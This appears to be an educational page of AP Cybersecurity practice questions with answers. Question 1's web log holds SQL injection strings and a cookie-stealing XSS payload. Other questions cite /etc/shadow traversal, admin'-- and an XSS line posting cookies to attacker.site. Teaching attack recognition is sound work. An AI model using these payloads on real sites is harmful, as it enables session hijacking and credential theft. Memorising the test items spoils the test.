Skip to main content

AP Cybersecurity Unit 5 practice questions

Try 10 multiple-choice questions from Unit 5 here. Pick an answer to see why it's right or wrong, then take the timed test above for a full AP-style set.

  1. Question 1

    Format: [timestamp] CLIENT_IP "REQUEST" STATUS BYTES "REFERRER" "USER-AGENT"

    1 [2024-11-14 08:42:11] 198.51.100.47 "GET /login.php HTTP/1.1" 200 4821 "-" "Mozilla/5.0" 2 [2024-11-14 08:42:34] 198.51.100.47 "POST /login.php HTTP/1.1" 302 512 "-" "Mozilla/5.0" 3 [2024-11-14 08:43:01] 198.51.100.47 "GET /dashboard.php?user=jsmith HTTP/1.1" 200 9340 "-" "Mozilla/5.0" 4 [2024-11-14 08:44:17] 198.51.100.47 "GET /report.php?id=1 HTTP/1.1" 200 3201 "-" "Mozilla/5.0" 5 [2024-11-14 08:44:52] 198.51.100.47 "GET /report.php?id=1'+OR+'1'='1 HTTP/1.1" 200 87643 "-" "Mozilla/5.0" 6 [2024-11-14 08:45:03] 198.51.100.47 "GET /report.php?id=1';+DROP+TABLE+accounts;-- HTTP/1.1" 500 1102 "-" "Mozilla/5.0" 7 [2024-11-14 08:45:29] 198.51.100.47 "GET /report.php?id=1'+UNION+SELECT+username,password,NULL+FROM+users;-- HTTP/1.1" 200 54210 "-" "Mozilla/5.0" 8 [2024-11-14 08:47:05] 198.51.100.47 "POST /feedback.php HTTP/1.1" 200 2048 "-" "Mozilla/5.0"

    POST body: comment=Great+site!%3Cscript%3Edocument.location%3D'http%3A%2F%2F198.51.100.47%2Fsteal.php%3Fc%3D'%2Bdocument.cookie%3C%2Fscript%3E

    9 [2024-11-14 08:48:44] 192.168.10.22 "GET /feedback.php HTTP/1.1" 200 3310 "-" "Mozilla/5.0" 10 [2024-11-14 08:48:44] 192.168.10.22 "GET /steal.php?c=SESSID%3Dabc123xyz HTTP/1.1" 200 88 "http://web01.intranet.meridianfin.local/feedback.php" "Mozilla/5.0" 11 [2024-11-14 08:49:01] 192.168.10.35 "GET /feedback.php HTTP/1.1" 200 3310 "-" "Mozilla/5.0" 12 [2024-11-14 08:49:01] 192.168.10.35 "GET /steal.php?c=SESSID%3Ddef456uvw HTTP/1.1" 200 88 "http://web01.intranet.meridianfin.local/feedback.php" "Mozilla/5.0" 13 [2024-11-14 08:51:18] 203.0.113.9 "GET /admin/config.php HTTP/1.1" 403 291 "-" "sqlmap/1.0" 14 [2024-11-14 08:52:00] 203.0.113.9 "GET /report.php?id=1+AND+SLEEP(5)-- HTTP/1.1" 200 3201 "-" "sqlmap/1.0"

    Based on the sequence of events between lines 8 and 12, how does the attacker successfully compromise user sessions?

    By injecting a script that forces subsequent visitors to transmit their session identifiers.

    By exploiting a database flaw to extract stored authentication credentials from the server.

    By utilizing an automated vulnerability scanner to bypass administrative endpoint access controls.

    By manipulating URL parameters to redirect authenticated users to an external malicious domain.

    Show answer

    Answer: (A)

    Analysis of lines 8 through 12 reveals a Stored Cross-Site Scripting (XSS) attack. Line 8 shows the attacker injecting a JavaScript payload via a POST request to feedback.php. Lines 9-12 demonstrate the payload executing when subsequent users (192.168.10.22 and 192.168.10.35) visit the page, causing their browsers to send their session cookies (SESSID) to the attacker's steal.php endpoint. Option B describes the SQL injection in line 7. Option C describes the automated scanning in line 13. Option D incorrectly identifies URL parameter manipulation as the vector, whereas the payload was delivered via a POST body.

  2. Question 2

    A security analyst hashes a critical configuration file on Monday and records the digest a3f8c2.... On Friday, she hashes the same file again and gets a3f8c2.... What does this result indicate about the file?

    The file was not altered between Monday and Friday because both hash digests are identical

    The file was not altered, but an attacker may have viewed its contents without detection

    The file was altered between Monday and Friday but the hash algorithm failed to detect the change

    The file was encrypted between Monday and Friday, which preserved the original hash value

    Show answer

    Answer: (A)

    Recognizing that cryptographic hash functions are deterministic: the same input always produces the same output. Because both digests match exactly, the file's contents did not change between the two hash operations, confirming its integrity.

  3. Question 3

    A systems administrator runs sha256sum payroll.db on a Linux server immediately after a suspected intrusion and gets a digest that differs from the digest recorded two weeks earlier. Which conclusion is best supported by this evidence?

    The file payroll.db was modified after the earlier hash was recorded and before the current hash was generated

    The file payroll.db was copied to another location after the earlier hash was recorded and before the current hash was generated

    The SHA256 algorithm produced a collision, generating two different digests for the same file contents

    The file payroll.db was viewed by an unauthorized user after the earlier hash was recorded and before the current hash was generated

    Show answer

    Answer: (A)

    Applying the core property of hash functions: a changed digest means the input changed. Because the two SHA256 outputs differ, the file's contents were altered at some point between the two hash operations, which aligns with the suspected intrusion timeline.

  4. Question 4

    A security team wants to verify the integrity of a sensitive database file on a Windows server using built-in tools. A team member opens Windows PowerShell and types Get-FileHash database.db -Algorithm SHA256. The output digest matches the digest recorded before a maintenance window. Which layered security conclusion does this verification support?

    Hash verification confirms the file was not altered during the maintenance window, adding an integrity check layer alongside access controls

    Hash verification confirms no unauthorized user accessed the file during the maintenance window, replacing the need for access control logs

    Hash verification confirms the file was not altered during the maintenance window, eliminating the need for any additional detective controls

    Hash verification confirms the file was encrypted correctly during the maintenance window, adding a confidentiality layer alongside access controls

    Show answer

    Answer: (A)

    Running Get-FileHash and comparing digests is the correct Windows PowerShell method for SHA256 hash verification. A matching digest confirms the file's contents are unchanged, and using this check alongside access controls (such as permissions and logging) exemplifies layered security by adding a detective integrity layer to existing preventive controls.

  5. Question 5

    A security engineer is designing a layered detection strategy for a financial institution's most sensitive data files. She proposes hashing each file weekly and comparing digests to detect tampering, but her manager notes a significant gap in this approach. Which scenario would the hash-based control fail to detect, and what additional control would best address that gap?

    An attacker who copies sensitive files without modifying them; adding accounting logs that record file access events would address this gap

    An attacker who modifies sensitive files by altering their content; adding version control systems that track all file modifications would address this gap

    An attacker who copies sensitive files without modifying them; adding encryption at rest that prevents unauthorized file access would address this gap

    An attacker who copies sensitive files without modifying them; adding checksums that verify file integrity after each access would address this gap

    Show answer

    Answer: (A)

    Cryptographic hashes only detect changes to file contents. An adversary who reads or copies a file without altering it leaves the digest unchanged, creating a false negative. Accounting logs that record who accessed which files and when would detect this data theft scenario, layering a complementary detective control over the hash-based integrity check.

  6. Question 6

    A security analyst reviewing server logs notices repeated HTTP GET requests containing the string ../../../etc/shadow in the URL path. Which attack technique do these log entries indicate, and what is the adversary attempting to accomplish?

    Directory traversal, navigating outside the web root to access sensitive system credential files on the server

    SQL injection, embedding database commands into HTTP requests to extract credential records from a backend database

    Buffer overflow, sending oversized GET requests to overwrite adjacent server memory and execute unauthorized code

    Reflected cross site scripting, injecting malicious scripts into GET request parameters that execute in visiting users' browsers

    Show answer

    Answer: (A)

    Recognizing the .. sequences in a URL as directory traversal indicators connects the log evidence to the attack. Each .. moves one directory level up the filesystem, and three consecutive .. sequences walk from the web directory to the root, where the adversary targets the shadow file containing hashed system passwords—a confidentiality breach.

  7. Question 7

    An intrusion detection system flags a login form submission where the username field contains the value admin'--. A security analyst must explain what vulnerability this input exploits and what the adversary gains if the attack succeeds.

    Unvalidated input enables SQL injection, allowing the adversary to bypass authentication and access the database without valid credentials

    Unvalidated input enables a buffer overflow, allowing the adversary to overwrite adjacent memory and execute arbitrary code on the server

    Unvalidated input enables stored cross site scripting, allowing the adversary to inject persistent malicious scripts affecting all future visitors

    Unvalidated input enables directory traversal, allowing the adversary to navigate the server filesystem and retrieve sensitive configuration files

    Show answer

    Answer: (A)

    Connecting the single quote and double-dash characters to SQL syntax reveals the attack: the quote closes the username string in the query, and -- comments out the password check, making the condition always true. This exploits the application's failure to validate or sanitize input before passing it to the database, granting unauthorized access—a confidentiality breach.

  8. Question 8

    A security team monitoring a popular forum discovers that a post in the help section contains the text <script>document.location='https://attacker.site/?c='+document.cookie</script>. Every user who views that forum thread has their session data silently sent to an external server. Which attack type does this represent, and why does it affect multiple victims rather than just one?

    Type II stored cross site scripting, because the malicious script is saved on the server and executes in every visitor's browser when they load the page

    Type I reflected cross site scripting, because the malicious script is embedded in a crafted link sent individually to each targeted victim

    SQL injection, because the script tag syntax manipulates the forum's database query to return session data for all registered users

    Directory traversal, because the script navigates the server's file structure to collect and transmit session files stored on the server

    Show answer

    Answer: (A)

    Identifying the script as persistent content saved in a forum post distinguishes this from a link-based attack. Because the malicious JavaScript is stored on the server inside the forum thread, every user whose browser renders that page automatically executes the script, sending their session cookies to the attacker—a confidentiality breach affecting all visitors, not just one targeted individual.

  9. Question 9

    A developer is testing a legacy network application and discovers that entering a string of 500 characters into a field designed to accept a 50-character username causes the application to crash and briefly execute a function that was never called during normal operation. Which vulnerability does this behavior reveal, and what is the most serious potential consequence beyond a system crash?

    Buffer overflow, where excess input overwrites adjacent memory and can allow an adversary to execute unauthorized code on the system

    SQL injection, where excess input embeds database commands that cause the application to query and expose unintended backend records

    Directory traversal, where excess input navigates the filesystem and causes the application to open and execute restricted server files

    Reflected cross site scripting, where excess input injects scripts that run in other users' browsers and expose their stored credentials

    Show answer

    Answer: (A)

    Recognizing that input far exceeding the allocated buffer size causes memory corruption identifies the buffer overflow vulnerability. When the 500-character input overflows the 50-character buffer, it overwrites adjacent memory locations—including function pointers—which explains why an unintended function executes. An adversary who crafts this overflow deliberately can inject and run their own code, gaining unauthorized control of the system beyond simply crashing it.

  10. Question 10

    A hospital stores patient medical records as unencrypted files on a shared network drive. An adversary who gains access to the network can open and read these files without any additional tools. Which security control would most directly prevent the adversary from reading the file contents even after gaining drive access?

    Encrypting the files at rest so contents are unreadable without the decryption key

    Requiring multi-factor authentication so only authorized users can log into the network

    Installing intrusion detection software to alert administrators when files are opened

    Configuring a firewall to block external connections to the hospital's internal network

    Show answer

    Answer: (A)

    Recognizing that encryption at rest addresses the specific vulnerability described. Even if an adversary accesses the drive, encrypted files appear as unreadable gibberish without the correct key, directly mitigating the risk of unauthorized disclosure.

What's on the AP Cybersecurity Unit 5 practice test

The standard version takes about 27 minutes and follows the timing and directions of the AP exam, sized to one unit:

  • 20 Multiple Choice Questions (27 minutes)

Questions are drawn from 575 multiple-choice questions written for Unit 5, Securing Applications and Data.

Review Unit 5 before you start

Other AP Cybersecurity unit tests